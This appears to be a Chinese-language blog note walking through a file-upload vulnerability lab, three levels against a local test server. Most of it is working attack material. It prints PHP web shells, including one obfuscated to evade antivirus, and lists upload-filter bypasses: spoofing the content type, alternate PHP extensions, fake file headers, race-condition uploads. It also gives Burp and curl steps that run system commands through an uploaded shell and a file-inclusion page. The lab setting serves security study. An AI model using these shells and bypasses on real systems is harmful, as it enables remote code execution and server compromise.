用户选择文件/前端验证/https上传/服务端接收/服务端验证/保存到磁盘/文件可访问
写一个简单的php木马代码test.php
- <?php @eval($_POST[‘cmd’]);?>
-
<?php echo system($_GET[‘cmd’]); ?>
- <?php $a=’sys’.’tem’;$a($_GET[‘C’]; ?> ——免杀变形
绕过技术
客户端校验绕过——–curl/修改html/BurpSuite修改
Content-Type:application/x-php——-image/jpeg
扩展名绕过:.Php/.pphphp/.php3/.php5/.phtml/.pht/.php.jpeg
文件头:gif GIF89a/png .png/pdf %PDF
条件竞争上传:一边上传一边访问
二次渲染:找到经过二次渲染未变化的区域,将代码写入该区域(高级渗透)
unset export删除 定义环境变量
Pass-01
- 编写一个内容<?php echo system($_GET[‘cmd’]); ?> 名叫test.jpg的文件
- 打开burpsuite监听kali网站
- 根据代码源可以发现前端是白名单现在
- 进行上传文件并进行抓包,可以看到filename=”test.jpg,改成filename=”test.php后放行通过
- 右键复制图片地址,成功进入到test.php里面
- 在地址尾部写入?cmd=whoami,显示得到www-data www-data
Pass-02
- 根据源代码可以发现验证是在服务端验证文件类型
- 上传文件test.php并抓包,可以看到Content-Type: application/x-php,修改成Content-Type: image/jpeg后放行通过
- http://192.168.111.128:8082/upload/test2.php?cmd=whoami
Pass-03
- curl -X POST http://192.168.111.128:8082/include.php?file=upload/202606100120263333.jpg -d “cmd=system(‘whoami’)’
- curl http://192.168.111.128:8082/include.php?file=upload/202606100120263333.jpg -d “cmd=system(‘ls’)”
评论(0)
暂无评论